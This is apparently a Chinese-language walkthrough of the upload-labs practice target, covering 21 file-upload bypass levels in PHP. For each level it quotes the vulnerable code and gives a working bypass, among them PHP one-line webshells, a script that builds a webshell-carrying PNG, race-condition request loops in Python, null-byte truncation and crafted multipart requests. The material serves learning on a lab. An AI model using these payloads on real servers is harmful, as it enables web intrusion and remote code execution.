upload-labs-writeup

upload-labs 记录及文件上传总结

靶机地址:https://github.com/c0ny1/upload-labs

Pass01

JS前端校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

直接上传php,弹框提示文件不合法,也没有数据包传输,猜测是本地js验证。
upload-lab1

关闭Google浏览器解析Javascript功能,
在 设置->高级->隐私设置和安全性->网站设置->JavaScript->关闭按钮

upload-lab1-01

关闭JavaScript解析后,F5刷新页面,直接上传php文件即可。
upload-lab1-02

Pass02

MIME校验:

1
2
3
4
5
6
7
8
9
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}

MIME类型检测,直接上传PHP文件,修改Content-Type: application/octet-streamContent-Type: image/jpeg.

upload-lab2

Pass03

黑名单校验不严:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}

黑名单检测,检测了.php后缀,但未检测php3,phtml等后缀。

靶机默认支持的解析后缀为:
upload-lab3-01

因此直接上传php.phtml,得到Webshell。
upload-lab3

Pass04

黑名单校验不严:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}

中间件为Apache的情况下,黑名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。

以下配置 将后缀为lxhsec的文件,当成php解析。

1
2
3
<FilesMatch "lxhsec">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件
upload-lab4-01

然后再上传php.lxhsec,得到Webshell.
upload-lab4-02

Pass05

黑名单校验不严:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}

当PHP以CGI/FastCGI模式运行的情况下,黑名单未校验后缀为.ini的文件,导致可上传.user.ini文件,绕过黑名单检测。

详情可以看下乌云的一篇文章.user.ini文件构成的PHP后门

.user.ini 文件官方说明

使用作者提供的phpstudy集成环境是无法利用.user.ini文件,因为不满足利用的三个条件:

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

其中 第二条不满足,使用的模式不是CGI/FastCGI
第三个条件,作者在upload目录下为我们提供了一个readme.php。
new-upload-lab5-00

这里我们直接使用phpstudy2014的集成环境中的Nginx+PHP 5.4n去复现这个漏洞。
new-upload-lab5-00-1

首先上传.user.ini文件,文件内容为:
auto_prepend_file=Pass05.png
new-upload-lab5-01

接着上传Pass05.png文件,文件内容为:
<?php @eval($_POST['lxhsec']);?>
new-upload-lab5-02

等待五分钟后,访问readme.php:
new-upload-lab5-03

如果等不了五分钟,
1.可以直接重启phpstudy,让上传的.user.ini立即生效。
2.或者 可以修改php.ini,将user_ini.cache_ttl修改为10秒,修改后保存php.ini文件并重启phpstudy,之后再进行上面的操作即可。
new-upload-lab5-04

Note: 经过测试 发现必须更改php.ini内的user_ini.cache_ttl才有效,如果将上传的.user.ini文件内容加多一句user_ini.cache_ttl = 10,这个是不会生效的,也依旧需要等五分钟。

Pass06

黑名单校验不严,没有将获取到的后缀名 转换 为小写字母 后再进行判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}

黑名单校验不严,后缀大小写绕过。
upload-lab5

Pass07

黑名单校验不严,导致可结合Windows系统特性 空格 绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}

黑名单校验不严,后缀加空格绕过.

利用windows 特性(windows文件名后缀不允许存在空格,如果存在,windows自动去除空格)空格绕过。

上传文件名1.php空格 ->php空格不在黑名单内,正常上传->windows发现写入的文件名有空格,自动去除空格->最后在磁盘上的文件名 就变成了1.php

upload-lab6

Pass08

黑名单校验不严,导致可结合Windows系统特性点.绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}

黑名单校验不严,后缀加.绕过.

利用windows特性(windows文件名后缀不允许存在.,如果存在,windows自动去除).绕过。

upload-lab7

Pass09

黑名单校验不严,导致可结合Windows系统特性::$DATA绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}

黑名单校验不严,后缀加::$DATA绕过

upload-lab8

利用windows特性::$DATA绕过。
DATA是NTFS文件系统的存储数据流的默认属性。

当访问1.php::$DATA时,就是请求1.php本身的数据。

upload-lab8-01

Pass10

黑名单校验不严,导致可结合Windows系统特性.绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}

黑名单校验不严,导致php.php. .绕过。

代码:

1
2
3
4
5
6
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

php.php.空格. -> 删除文件名末尾的点,变为php.php.空格-> 首尾去空,变为php.php.->php.后缀不在黑名单内,绕过黑名单验证->Windows发现文件名最后有.,自动去除 -> 最终磁盘上的文件名为php.php

upload-lab9

Pass11

黑名单过滤,只过滤一次,因此双写pphphp绕过。

代码:

1
$file_name = str_ireplace($deny_ext,"", $file_name);

pphphp -> 过滤后为pphphp,前后又拼成了一个php。

upload-lab10

Pass12

代码:

1
2
3
4
5
6
7
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}

save_path 保存路径参数可控,Get参数,直接%00 截断,中间件Apache接收到请求后会将%00解码一次,也就变成了空字节,在内存中 一段字符串的结束通常以空字节标识,空字节后面的数据也就被截断了,因此$img_path=../upload/lxhsec.php

upload-lab11

Pass13

代码:

1
2
3
4
5
6
7
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}

save_path 保存路径参数可控,因为是POST参数,在取save_path值的时候,中间件Apache并不会自动解码一次,因此需要自己手动将%00解码一次。

upload-lab12

Pass14

判断文件内容前两个字节是否是图片前缀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

因此解法1,添加图片前缀,例如gif 前缀 GIF89a
upload-lab13-01

然后利用文件包含 getshell。
include.php?file=upload/3620200111182701.gif

解法2,制作图片木马。
copy test.png/b+1.php/a 3.png

test.png:随便一个png格式图片
1.php: 你的php代码
3.png: 合并之后的图片

3.png用文本编辑器打开,可以看到1.php的内容:
upload-lab13-02

上传3.png,
访问,可以看见图片被解析为脚本语言。
upload-lab13-03

Pass15

getimagesize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

与十三关解法相同。

用1解法即可。

Pass16

exif_imagetype

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

与十三关解法相同。

用1解法即可。

Pass17

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

imagepng()二次渲染。

上传 使用第十三关的图片马时,图片会被二次渲染,里面的一句话会被清除,因此需要制作一张二次渲染过后,一句话依旧存在的图片马。

下列代码,可以制作一张二次渲染过后,恶意代码依旧存在的png图片马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

用法:
php.exe png.php
生成1.png

上传生成的1.png:
upload-lab16-01

文件包含:
upload-lab16-02

Pass18

多线程上传,条件竞争。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}

逻辑:先移动,后检测,不符合再删除,符合则改名字。

上传文件名是$_FILES['upload_file']['name'];可控。

因此我们可以用burp一直发上传包,让php程序一直处于移动php文件到upload目录这个阶段。

burp配置:
upload-lab17-01

php代码:

1
<?PHP echo md5(1);fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

upload-lab17-02

然后写个python脚本一直访问上传的php文件,生成新的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding:utf-8
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://192.168.142.142/upload/write.php")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print("yeah!!!")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()

结果:
upload-lab17-03

Pass19

这关代码有点小问题,上传的文件没有在upload目录下,而是文件名前多了个upload,像这样的../upload1578389650.jpg,更改下Pass-19/myupload.php文件,

将103行的

1
$this->cls_upload_dir = $dir;

改为:

1
$this->cls_upload_dir = $dir.'/';

这样 文件上传上来就在upload目录下了。../upload/1578389689.jpg

其实你不改也可以,就是WWW目录下会有很多文件,强迫症就难受了,hhh~。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ret = $this->checkExtension(); //检查后缀,必须是下列数组中的后缀。
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
$ret = $this->checkSize(); //检查大小
$ret = $this->checkFileExists(); //检查文件是否已存在
$ret = $this->move(); // 移动文件
$ret = $this->renameFile(); // 改名字。
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
$this->cls_filename = $file_name;
$this->cls_tmp_filename = $tmp_file_name;
$this->cls_filesize = $file_size;
$this->cls_file_rename_to = $file_rename_to;
}
function move(){
//$this->cls_filename 是$_FILES['upload_file']['name']
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}

关键函数move(),先移动到upload目录下,在更改文件名$this->renameFile()

跟17关一样,条件竞争,只是第十八关校验了后缀,这里没有提示使用文件包含,那么考虑Apache未知扩展名解析漏洞

综上所述,我们可以使用burp一直发上传包,然后写个python小工具一直请求还没有进行renameFile的文件,该文件也就是move_uploaded_file函数参数中的$this->cls_upload_dir . $this->cls_filename,再配合Apache未知扩展名解析漏洞,获取webshell。

其中$this->cls_upload_dir 也就是 define("UPLOAD_PATH", "../upload/");$this->cls_filename$_FILES['upload_file']['name']

burp配置与17关相同,这里选择上传.7z后缀文件,试了下.rar,.zip发现Apache都认识,我们需要上传Apache不认识的后缀,它才会继续向前解析。

python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding:utf-8
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://192.168.142.142/upload/write.php.7z")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print("yeah!!!")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()

结果:
upload-lab18-01

Pass20

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION); // 获取后缀
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}

与12关类似,POST 参数save_name可控,当输入upload-19.php%00.jpg时,pathinfo获取的$file_ext.jpg,从而进入了if代码块。
upload-lab19-01

$img_path = UPLOAD_PATH . '/' .$file_name;拼接时,%00后面的数据又会被截断,从而上传了webshell。
upload-lab19

Pass21

代码:

1
2
3
4
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}

首先检查了MIME,更改Content-Type: image/png即可绕过。

接下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
//empty($_POST['save_name'])默认有值,所以会返回false,也就是$file=$_POST['save_name'];
if (!is_array($file)) {
//默认情况下$file不是数组,因此执行了explode.
$file = explode('.', strtolower($file));
}
$ext = end($file); // $file数组的最后一个值要是jpg or png or gif.
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
//数组的第一个值 拼接 $file[1]。正常情况下是$ext.
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}

上述是正常情况下的走法。

绕过点在于:

1
2
3
4
if (!is_array($file)) {
//默认情况下$file不是数组,因此执行了explode.
$file = explode('.', strtolower($file));
}

如果走了explode,$file 最后一个必须要是jpg or png or gif,$file值也就 只能 xxx.jpg or xxx.php.jpg,到了
$file_name = reset($file) . '.' . $file[count($file) - 1];这一步,文件名永远也是xxx.jpg

因此 必须不走explode,数组的值就可以任意操控。

不走explode的情况下,我们需要让$file是数组,让is_array($file)返回true.

也就是要这样构造:

1
2
3
4
5
6
7
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
------WebKitFormBoundarybJWFS5X7mmp8T1s8
Content-Disposition: form-data; name="save_name[1]"
xxx

接下来:

1
2
3
4
5
6
7
8
$ext = end($file); // $file数组的最后一个值要是jpg or png or gif.
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
//....
}

$file数组最后一个必须为jpg or png or gif.
也就是

1
2
3
4
5
6
7
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
------WebKitFormBoundarybJWFS5X7mmp8T1s8
Content-Disposition: form-data; name="save_name[1]"
jpg

再接着取数组的第一个和 数组总数-1的序号拼接。
$file_name = reset($file) . '.' . $file[count($file) - 1];

当数据为:

1
2
3
4
5
6
7
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
------WebKitFormBoundarybJWFS5X7mmp8T1s8
Content-Disposition: form-data; name="save_name[1]"
jpg

结果如下:
../upload//upload-20.php.jpg
upload-lab20-01

这里我们要让jpg为空,利用windows文件名不允许.结尾特性,获取shell。

当数组大小为2时,让$file[1]要为空,
也就是将save_name[1]改为save_name[2],最终如下:

1
2
3
4
5
6
7
8
Content-Disposition: form-data; name="save_name[0]"
upload-20.php
------WebKitFormBoundarybJWFS5X7mmp8T1s8
Content-Disposition: form-data; name="save_name[2]"
jpg
------WebKitFormBoundarybJWFS5X7mmp8T1s8

Windows下 使用.特性绕过。
upload-lab20-02

Linix下 使用/.绕过(move_uploaded_file函数执行时 会忽略掉文件名末尾的/.
upload-lab20-03

ps: 21关这个代码,不清楚这样写的意义,一般情况下php开发,也不会写的这么绕…

Summary

file-upload-summary

穷困潦倒的安全工作者,如果文章对您有所帮助,可以选择性打赏。